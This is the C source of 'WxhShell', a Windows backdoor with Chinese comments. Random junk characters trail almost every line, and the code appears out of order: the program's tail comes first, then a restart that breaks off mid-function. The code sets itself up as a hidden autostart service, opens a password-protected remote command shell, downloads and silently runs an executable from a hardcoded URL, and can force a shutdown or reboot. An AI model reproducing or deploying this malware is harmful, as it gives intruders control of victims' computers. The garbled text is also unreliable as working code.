    } UoPd>q4Uj  
  // 关机 vmJ1-<G4*  
  case 'd': { ~6.AE/ow  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fF[n?:VV  
    if(Boot(SHUTDOWN)) |TF,Aj   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \D?6_ ,O  
    else { f}^}d"&F  
    closesocket(wsh); 3!Zd]1$  
    ExitThread(0); l@Ma{*s6=5  
    } &WN4/=QW-J  
    break; bB3Mpaw@  
    } /@R|*7K;9  
  // 获取shell _o~<f)E[9  
  case 's': { <8Nh dCO6  
    CmdShell(wsh); }|H]>U&  
    closesocket(wsh); (`GO@  
    ExitThread(0); v3[Z ]+ ]  
    break; gg'lb{oG  
  } M|?qSFv:  
  // 退出 (FbqKx'uq  
  case 'x': { 8U0y86q>)E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iU9de  
    CloseIt(wsh); OgyETSN8C  
    break; R!W!8rr3  
    } gSEj/?  
  // 离开 0`"]mYH  
  case 'q': { 6g8{;6x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sn_]7d+ Q  
    closesocket(wsh); 5X\3y4  
    WSACleanup(); T({:Y. A;  
    exit(1); /u!I2DF  
    break; H:#b(&qw2  
        } hEsCOcEG  
  } YZ:YYcr  
  } C/"fS#<  
w4:S>6X  
  // 提示信息 t9&)9,my  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \MsAdYR  
} .oH0yNFX  
  } u@}((V  
T=:O(R1*0  
  return; \:8~na+(  
} /tc*jXB  
dn$1OhN8M  
// shell模块句柄 `"H!=`  
int CmdShell(SOCKET sock) UA>~xJp=  
{ 6/hY[a!  
STARTUPINFO si; $Eg|Qc-1  
ZeroMemory(&si,sizeof(si)); @}!1Uk3ud  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {#: js  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; upQ:C>S  
PROCESS_INFORMATION ProcessInfo; T.d+@ZV<#  
char cmdline[]="cmd"; qCSJ=T;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #R"9(Q&  
  return 0; {\ P$5O{%  
} W)1)zOD  
LH"MJWO J  
// 自身启动模式 apa~Is1  
int StartFromService(void) 7S7gU\qOj  
{ /S$p_7N  
typedef struct <(6@l@J|6  
{ 699z@>$}  
  DWORD ExitStatus; vI{JBWE,S  
  DWORD PebBaseAddress; W tnZF]1:u  
  DWORD AffinityMask; .UakO,"z  
  DWORD BasePriority; rhMsZ={M  
  ULONG UniqueProcessId; x6* {@J&5*  
  ULONG InheritedFromUniqueProcessId; kCL)F\v"iT  
}   PROCESS_BASIC_INFORMATION; T_\HU*\  
N)lzX X  
PROCNTQSIP NtQueryInformationProcess; w}G2m)(  
m/| >4~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (Z=ziopDE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M]!R}<]{  
as)2ny!u  
  HANDLE             hProcess; {0q;:7Bt  
  PROCESS_BASIC_INFORMATION pbi; 49bzHEqZ  
p H5IBIf'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S+R<wv ,6  
  if(NULL == hInst ) return 0; vpFN{UfD  
j,80EhZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hc5M)0d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \bCm]w R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }5RfY| ;  
i^ G/)bq  
  if (!NtQueryInformationProcess) return 0; J<p<5):R;  
'(5 &Sj/C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z) yUBcq  
  if(!hProcess) return 0; @%IZKYf c~  
p \; * :  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HD IB GG~  
8js5/G+  
  CloseHandle(hProcess); [V  T&  
{lT9gJ+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); im>Sxu@  
if(hProcess==NULL) return 0; e,={!P"f  
J|sX{/WT  
HMODULE hMod; qo}-m7  
char procName[255]; XrYMv WT  
unsigned long cbNeeded; S]KcAz(fX  
@BbZ(cZ*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i@6MO'y  
xQ>c.}J/i  
  CloseHandle(hProcess); ~cz] Rhq  
Dn) =V.  
if(strstr(procName,"services")) return 1; // 以服务启动 &9$0v"`H  
fa=#S  
  return 0; // 注册表启动 SDcxro|8i  
} p.n]y=o.)  
F:%= u =  
// 主模块 j2cLb  
int StartWxhshell(LPSTR lpCmdLine) <P'^olQ  
{ df nmUE  
  SOCKET wsl; DIB Az s  
BOOL val=TRUE; =$}P'[V  
  int port=0; b=9(gZ 9  
  struct sockaddr_in door; |VB}Kv  
}9R45h}{<  
  if(wscfg.ws_autoins) Install(); o$'Fz[U  
o{4ya jt  
port=atoi(lpCmdLine); 9bPQD{Qb  
Fm3-Sn|Po  
if(port<=0) port=wscfg.ws_port; CM>/b3nOW  
Dj;h!8t.  
  WSADATA data; >MUwT$szs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; : :uD%a zd  
 @es}bKP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9xB^dKM3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *;7&  
  door.sin_family = AF_INET; r62x*?/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Z-Cn.  
  door.sin_port = htons(port); z:^Kr"=n  
lN,b@;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y:^~KS=Uz  
closesocket(wsl); b\7-u-   
return 1; {0lY\#qcE  
} :bE ^b  
P|v;'9  
  if(listen(wsl,2) == INVALID_SOCKET) { /SY40;k:  
closesocket(wsl); - DlKFN  
return 1; NS#qein~i  
} %;!@\5$  
  Wxhshell(wsl); Xl#vVyO  
  WSACleanup(); 1(gb-u0  
Y:FV+ SI  
return 0; ,cWO Ak  
F4k<YU  
} w eT33O"!1  
HyiuU`  
// 以NT服务方式启动 VD,F?L!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6.6~w\fR8  
{ si/F\NDT   
DWORD   status = 0; zpZlA_   
  DWORD   specificError = 0xfffffff; v>c[wg9P  
jm =E_86_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \_!FOUPz(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E(4ti]'4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jHT4I>\  
  serviceStatus.dwWin32ExitCode     = 0; YUF!Y9!  
  serviceStatus.dwServiceSpecificExitCode = 0; s^^X.z ,  
  serviceStatus.dwCheckPoint       = 0; 5w gtc~  
  serviceStatus.dwWaitHint       = 0; Q#}} 1}Ja  
(i|`PA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -vGyEd7  
  if (hServiceStatusHandle==0) return; +AZ=nMgW  
,M>W)TSH  
status = GetLastError(); H'<9;bD -  
  if (status!=NO_ERROR) "@gJ[BL#  
{ dg4"4\c*P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EQyRP. dq  
    serviceStatus.dwCheckPoint       = 0; u%V =Ze  
    serviceStatus.dwWaitHint       = 0; s C e7ni  
    serviceStatus.dwWin32ExitCode     = status; H+F?)VX}oA  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1HN_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DOkEWqM!  
    return; u z ` H  
  } *-ZD-B*?  
C@buewk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hEl)BRJ  
  serviceStatus.dwCheckPoint       = 0; ?fXg_?+{'g  
  serviceStatus.dwWaitHint       = 0; .!U `,)I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XU2 HWa  
} nOkX:5  
zr&K0a{hc  
// 处理NT服务事件,比如:启动、停止 L-Xd3RCD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !.+iA=K{  
{ !#rZ eDmw  
switch(fdwControl) ~`#.ZMO  
{ D ,mFme  
case SERVICE_CONTROL_STOP: H$Q$3Q!`  
  serviceStatus.dwWin32ExitCode = 0; [=Np.:Y%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ({m["d  
  serviceStatus.dwCheckPoint   = 0; YJuaQxs  
  serviceStatus.dwWaitHint     = 0; K>RL  
  { S"|D!}@-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' hO+b  
  } z Rz#0  
  return; L FHyiIO  
case SERVICE_CONTROL_PAUSE: |O+R%'z'<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E5jK}1t4V  
  break; jS5e"LMIq  
case SERVICE_CONTROL_CONTINUE: J%aW^+O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '&?47+W  
  break; E-X-LR{CC  
case SERVICE_CONTROL_INTERROGATE: \Wt&z,  
  break; F` J(+  
}; x4*8q/G=D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cOOPNa>5_  
} GE Xz)4[  
m]Z+u e  
// 标准应用程序主函数 &'WgBjP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *#N%3:@T  
{ U^VFHIm  
uji])e MN~  
// 获取操作系统版本 O_-.@uo./(  
OsIsNt=GetOsVer(); OA%.>^yb@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k,X)PQc  
j+_g37$:  
  // 从命令行安装 5f/[HO)  
  if(strpbrk(lpCmdLine,"iI")) Install(); :7W5R  
s<E_74q1  
  // 下载执行文件 np=m ~k  
if(wscfg.ws_downexe) { ? @h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `gfK#0x#  
  WinExec(wscfg.ws_filenam,SW_HIDE); '(+l77G  
} *%B%BJnX  
{ zlq6z  
if(!OsIsNt) { ^nkwT~Bya  
// 如果时win9x,隐藏进程并且设置为注册表启动 mTZlrkT  
HideProc(); 6jCg7Su]  
StartWxhshell(lpCmdLine); ;NRm ,  
} Jfo|/JQ  
else DQ9 <N~l  
  if(StartFromService()) |g8 ]WFc  
  // 以服务方式启动 g\rujxHlH  
  StartServiceCtrlDispatcher(DispatchTable); PA`b~Ct  
else I #1_  
  // 普通方式启动 0Yfk/}5  
  StartWxhshell(lpCmdLine); wLkHU"'   
~`*:E'/5k]  
return 0; F:hJ^:BP  
} DMfC(w.d  
r\_rnM)_xN  
CrS[FM= +W  
1?7QS\`)fB  
=========================================== d`({z]W;  
*'d5~dz=  
IdzF<>;W  
%m+Z rH(  
q?} G?n 4  
@m6pAo4P  
" CtjjN=59  
o S_'@u.5  
#include <stdio.h> uKpl+>  
#include <string.h> 86R}G/>>e  
#include <windows.h> q69a-5q  
#include <winsock2.h> eZ}FKg%2[  
#include <winsvc.h> LwY_6[Ef  
#include <urlmon.h> m6lNZb]  
JC>}(yQA  
#pragma comment (lib, "Ws2_32.lib") 1;? L:A  
#pragma comment (lib, "urlmon.lib") 'v6Rd )E\z  
6TfXz2D'J  
#define MAX_USER   100 // 最大客户端连接数 >f`}CLsY  
#define BUF_SOCK   200 // sock buffer am:LLk-Lx  
#define KEY_BUFF   255 // 输入 buffer (c(?s`;  
Kh$L~4l  
#define REBOOT     0   // 重启 %*eZoLD g]  
#define SHUTDOWN   1   // 关机 U> q&+:+  
!ae@g q'  
#define DEF_PORT   5000 // 监听端口 `e`4[I  
-z'@Mh|i6l  
#define REG_LEN     16   // 注册表键长度 7yQ r  
#define SVC_LEN     80   // NT服务名长度 .P =!M  
1$".7}M4$  
// 从dll定义API qn+mlduU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I]I5!\\&[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lFc3 5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }f6.eqBX4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !p0FJ].g,  
@M,KA {e  
// wxhshell配置信息 Bm~>w`1wK  
struct WSCFG { ;uba  
  int ws_port;         // 监听端口 >!bYuVHA  
  char ws_passstr[REG_LEN]; // 口令 HnOF_Twq  
  int ws_autoins;       // 安装标记, 1=yes 0=no /Zm@.%.  
  char ws_regname[REG_LEN]; // 注册表键名 <a$cB+t  
  char ws_svcname[REG_LEN]; // 服务名 YRC`2)_'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HF47Lc*c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3P #1fI(c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z,2m7C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $1Xg[>1g5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b[*d i{?-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ve K  
vP,WV9Q1u  
}; *}mtVa_|  
K32eZv`T7  
// default Wxhshell configuration aQRZyE}  
struct WSCFG wscfg={DEF_PORT, vo0[Z,aH5  
    "xuhuanlingzhe", ?d_<S0j-)  
    1, aP"i_!\.aa  
    "Wxhshell", q07rWPM "e  
    "Wxhshell", (8H^{2K~  
            "WxhShell Service", L G=Q  
    "Wrsky Windows CmdShell Service", @]2cL  
    "Please Input Your Password: ", Crww\#E;  
  1, JBU qZ  
  "http://www.wrsky.com/wxhshell.exe", @|d|orMC  
  "Wxhshell.exe" 9k$uo_i'  
    }; { ET+V  
WX?|iw I~  
// 消息定义模块 qa%g'sB-b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CdEJ/G:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]?<uf40Mm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W?6RUyMC$T  
char *msg_ws_ext="\n\rExit."; +x4o#N  
char *msg_ws_end="\n\rQuit."; <m)@~s?D  
char *msg_ws_boot="\n\rReboot..."; :!r_dmJ  
char *msg_ws_poff="\n\rShutdown..."; PDGh\Y[AK,  
char *msg_ws_down="\n\rSave to "; [9>1e  
d[O.UzQ  
char *msg_ws_err="\n\rErr!"; =Wl CE_  
char *msg_ws_ok="\n\rOK!"; ;zh|*F>  
H:~LL0Md%  
char ExeFile[MAX_PATH]; hPEK@  
int nUser = 0; M rVtxzH  
HANDLE handles[MAX_USER]; c\RDa|B,  
int OsIsNt; v$,9l+p/  
5gEUE{S  
SERVICE_STATUS       serviceStatus; (# ?~^ut  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sS+9ly{9J  
Y<kvJb&1*  
// 函数声明 )IhI~,0Nmj  
int Install(void); yWX:`*GV  
int Uninstall(void); /5wvXk|@  
int DownloadFile(char *sURL, SOCKET wsh); /yH:ur  
int Boot(int flag); C\fc 4  
void HideProc(void); 3S <5s}  
int GetOsVer(void); `FmI?:Cv  
int Wxhshell(SOCKET wsl); 6BMRl%3>Z  
void TalkWithClient(void *cs); T4Zp5m")  
int CmdShell(SOCKET sock); yfaXScbE  
int StartFromService(void); Ct.Q)p-wn  
int StartWxhshell(LPSTR lpCmdLine); J#JZ^59lOS  
AQ-PY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vU~#6sl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YZmD:P  
GMiWS:`;v`  
// 数据结构和表定义 \y<n{"a  
SERVICE_TABLE_ENTRY DispatchTable[] = G>H&M#7K  
{ .@xwl}o$OL  
{wscfg.ws_svcname, NTServiceMain}, Zcf?4{Kd?  
{NULL, NULL} XmXHs4  
}; y]@_DL#J=  
$TR[SMj  
// 自我安装 Kk#8r+ ,  
int Install(void) BWQ (>Z"  
{ *t*yozN  
  char svExeFile[MAX_PATH]; 1?mQ fW@G  
  HKEY key; !".@Wg$  
  strcpy(svExeFile,ExeFile); C' ny 2>uA  
`Y$LXF~,Om  
// 如果是win9x系统,修改注册表设为自启动 o/9 V1"  
if(!OsIsNt) { W\X51DrEx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9C`Fd S   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L$Ss]Ar=  
  RegCloseKey(key); +mH Kk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f? ko%c_p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *<BasP  
  RegCloseKey(key); XhTp'2,]  
  return 0; ~>+}(%<,  
    } 0y6nMI  
  } Hk.+1^?%  
} $~U_VQIA^  
else { J 9>uLz  
}Z%*gfp  
// 如果是NT以上系统,安装为系统服务 \O\onvEa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r@iGM Jx$  
if (schSCManager!=0) xe%+Yb]  
{ I`FH^=  
  SC_HANDLE schService = CreateService unP7("A0D  
  ( b vUYLWzS  
  schSCManager, {n |Ra[9_  
  wscfg.ws_svcname, 8Zwq:lV Q  
  wscfg.ws_svcdisp, dG6Mo76  
  SERVICE_ALL_ACCESS, |J~;yO SD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >#xpg&2x  
  SERVICE_AUTO_START, iPI6 _h  
  SERVICE_ERROR_NORMAL, >\KBXS}  
  svExeFile, GHH1jJ_[7  
  NULL, |} .Y&1@U  
  NULL, C>t1~^Q},9  
  NULL, \{abyi;  
  NULL, 2<|+h= &  
  NULL du`],/ 6  
  ); N}zQ)]xz+r  
  if (schService!=0) lq+FH&  
  { '7wWdq  
  CloseServiceHandle(schService); ,AACE7%l  
  CloseServiceHandle(schSCManager); JCS$Tm6y<_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vb0hlJb  
  strcat(svExeFile,wscfg.ws_svcname); OTalR;:]r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^Cpvh}1#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8n1Sy7K!;  
  RegCloseKey(key); He&dVP  
  return 0; ]< TgBo|  
    } K4A=lD+  
  } ! QP~#a%  
  CloseServiceHandle(schSCManager); oIX]9~  
} t'FY*|xk  
} /__we[$E  
fWF\ V[  
return 1; Q9?/)&3Bu  
} A1Rt  
[o\O^d  
// 自我卸载 Hz*!c#  
int Uninstall(void) 1R1J/Z*V/  
{ &LHQ) ?  
  HKEY key; [V}I34UN  
Mg-Kh}U  
if(!OsIsNt) { iK'bV<V&7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S}ZM;M  
  RegDeleteValue(key,wscfg.ws_regname); }U%2)M  
  RegCloseKey(key); )2u=U9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QvjsI;CQ-  
  RegDeleteValue(key,wscfg.ws_regname); v8_HaA$5Y  
  RegCloseKey(key); D|6p rC%/  
  return 0; 9C3q4.$D  
  } +7d%)t  
} |.)dOk,o  
} f; >DM  
else { 7S1 Y)  
rEs,o3h?po  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0|P RCq  
if (schSCManager!=0) ,Q >u N  
{ 4k<4=E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xH e<TwkI  
  if (schService!=0) uRwIxT2  
  { o#H"tYP  
  if(DeleteService(schService)!=0) { EZE/~$`3   
  CloseServiceHandle(schService); V+cHL  
  CloseServiceHandle(schSCManager); DX4uTD  
  return 0; p\1[cz)B  
  } /dh w~|  
  CloseServiceHandle(schService); $w#C;2k]N  
  } bU(t5 [  
  CloseServiceHandle(schSCManager); W1U r~x`  
} Kh'/Ne?  
} 5;C+K~Y  
jsfyNl? 6  
return 1; w/E4wp  
} q-X)tH_+w@  
|OhNQoTY  
// 从指定url下载文件 Z/6B[,V  
int DownloadFile(char *sURL, SOCKET wsh) )r5QOa/  
{ ]X;Ty\UD&  
  HRESULT hr; _U%!&_m6  
char seps[]= "/"; ?VO*s-G:J  
char *token; M*}C.E!  
char *file; pZ%/;sxYa  
char myURL[MAX_PATH]; asmMl9)(`  
char myFILE[MAX_PATH]; T6%*t#8r  
D=o9+5Slw  
strcpy(myURL,sURL); eHm!  
  token=strtok(myURL,seps); ,]42v?  
  while(token!=NULL) 91}QuYv/_  
  { gO1`zP!9Z  
    file=token; 3zGxe-  
  token=strtok(NULL,seps); ID E3>D  
  } KP -g<Zc  
4(|x@: wxm  
GetCurrentDirectory(MAX_PATH,myFILE); =-1d m+P  
strcat(myFILE, "\\"); fp|b@  
strcat(myFILE, file); qun#z$  
  send(wsh,myFILE,strlen(myFILE),0); +#A >[,U  
send(wsh,"...",3,0); 3[pA:Z+xx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2BsMFMIw1  
  if(hr==S_OK) I[WW1P5  
return 0; p p9Gzn C  
else /{\tkvv-Z  
return 1; `GUj.+u  
uhbo/7d'7  
} !2>gC"$nv  
"ALR)s,1,  
// 系统电源模块 Z,! w.TYo  
int Boot(int flag) U[ u9RB  
{ n*{e0,gp`  
  HANDLE hToken; CJ%bBL'.  
  TOKEN_PRIVILEGES tkp; J`Q#p%W  
$DJp|(8  
  if(OsIsNt) { +^1H tI|y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p&_Kb\} U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L'`W5B@  
    tkp.PrivilegeCount = 1; aM,>LKNbQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GG/~)^VMe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "=MRzSke3  
if(flag==REBOOT) { kG:uXbUI'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =X2 Ieb  
  return 0; l5l:'EY>  
} *ukE"Aj  
else { oIAP dn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QA+qFP  
  return 0; q]`XUGC  
} 3^xTZ*G  
  } k?o(j/  
  else { Azxy!gDT"  
if(flag==REBOOT) { ^ RU"v>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "|gNNmr  
  return 0; APsd^J  
} r2]:'O6  
else { vbXuT$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3&/5!zOg)  
  return 0; (B.J8`h }  
} vA10'Gx'  
} S6*3."Sk  
W1w)SS  
return 1; 24}r;=U  
} f5IO<(:E^  
5#!pwjt~7  
// win9x进程隐藏模块 !E'jd72O  
void HideProc(void) >}\!'3)_  
{ 5Y"JRWC  
hp/}Z"A=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #6[FGM  
  if ( hKernel != NULL ) & ;ie+/B  
  { q*SX.A>YR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vq B)PL5)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L0/0<d(K  
    FreeLibrary(hKernel); s_y Y,Z:  
  } }Gqx2 )H  
aF1pq  
return; \/p\QT@mm  
} Ji\8(7 {8  
M~t S *  
// 获取操作系统版本 D"oyl`q  
int GetOsVer(void) Y?=+A4v  
{ 8sOM%y9M  
  OSVERSIONINFO winfo; 79AOvh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  P 1X8  
  GetVersionEx(&winfo); `r & IA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >j{phZ  
  return 1; DB-4S-2  
  else we9R4 *j  
  return 0; #qi@I;;t  
} 9He>F7J:p'  
.h-:) e*  
// 客户端句柄模块 (y7U}Sb'  
int Wxhshell(SOCKET wsl) zjs@7LN  
{ Ev|2bk \  
  SOCKET wsh; mWZoo/xtT  
  struct sockaddr_in client; #(FG+Bk  
  DWORD myID; +e. bO5Y  
_fz-fG 1  
  while(nUser<MAX_USER) D:sQHJ. y  
{ v4kk4}lE  
  int nSize=sizeof(client); r3<yG"J86  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qiV#T +\  
  if(wsh==INVALID_SOCKET) return 1; 7Q7z6p/\v  
ZY-W~p1:G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,~w)~fMb8  
if(handles[nUser]==0) nqg=I  
  closesocket(wsh); *q{/`Z{wy  
else 9]r6V   
  nUser++; xV @X%E  
  } {wiw]@c8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `{s:lf  
t5G@M&d4Eo  
  return 0; 5K|1Y#X  
} !run3ip`Z  
j y R 9a!  
// 关闭 socket I:Wrwd  
void CloseIt(SOCKET wsh) MQ9 9fD$  
{ $rD&rsx6  
closesocket(wsh); 7 [N1Vr(1  
nUser--; OWT5Bjl  
ExitThread(0); 3#}5dO  
} LRW7_XYz  
(?Fz{  
// 客户端请求句柄 yxh8sAZ  
void TalkWithClient(void *cs) Z.Z+cFi  
{ R_eKKi@VH  
l 3bo  
  SOCKET wsh=(SOCKET)cs; BFc=GiPnQ  
  char pwd[SVC_LEN]; # kl?ww U  
  char cmd[KEY_BUFF]; 'kPc`) \  
char chr[1]; {]]qd!,  
int i,j; \^or l9  
DfgqB3U[  
  while (nUser < MAX_USER) { ^5x\cR  
A6YkoYgC  
if(wscfg.ws_passstr) { q|0Lu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2uu"0Rm%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %:yJ/&-Q,Z  
  //ZeroMemory(pwd,KEY_BUFF); (Vnv"= (  
      i=0; ^noKk6Aaa  
  while(i<SVC_LEN) { #Y`GWT1==  
Ytop=ZIl'  
  // 设置超时 | z=:D*uh~  
  fd_set FdRead; vzA)pB~;  
  struct timeval TimeOut; Dp4\rps  
  FD_ZERO(&FdRead); %GQPiWu  
  FD_SET(wsh,&FdRead); nm2bBX,fh  
  TimeOut.tv_sec=8; i7v> 9p7  
  TimeOut.tv_usec=0; UM%]A'h2O"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z;`ts/?SY]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eD5.*O  
{0 d/;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cl:h 'aG  
  pwd=chr[0]; .I_Mmaq;i  
  if(chr[0]==0xd || chr[0]==0xa) { *P]FX-D3  
  pwd=0; |{]W (/  
  break; i;>Yx#  
  } 8`l bKV  
  i++; :1NF#-2\f  
    } Y4 q;  
~'k.'O{  
  // 如果是非法用户,关闭 socket musZCg$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '|V"!R)  
} ,\ [R\s  
YMx]i,u'+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f-&4x_5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q]wM WV  
&6V[@gmD  
while(1) { <XG&f  
E0]B=-  
  ZeroMemory(cmd,KEY_BUFF); Y3^UJe7E  
p(o"K@I  
      // 自动支持客户端 telnet标准   #InuN8sI  
  j=0; 2>3#/I9Y  
  while(j<KEY_BUFF) { +j Z,vKr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6V)P4ao  
  cmd[j]=chr[0]; J3`a}LyDf  
  if(chr[0]==0xa || chr[0]==0xd) { } wZ9#Ll  
  cmd[j]=0; I(!i"b9  
  break; n?'I&0>M  
  } 1 ~ fD:  
  j++; y}Ji( q~  
    } 1h_TG.YL9>  
MHNuA,cz  
  // 下载文件 91'i7&~xdG  
  if(strstr(cmd,"http://")) { KG7 ~)g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SbS*z:  
  if(DownloadFile(cmd,wsh)) \>,[5|GU  
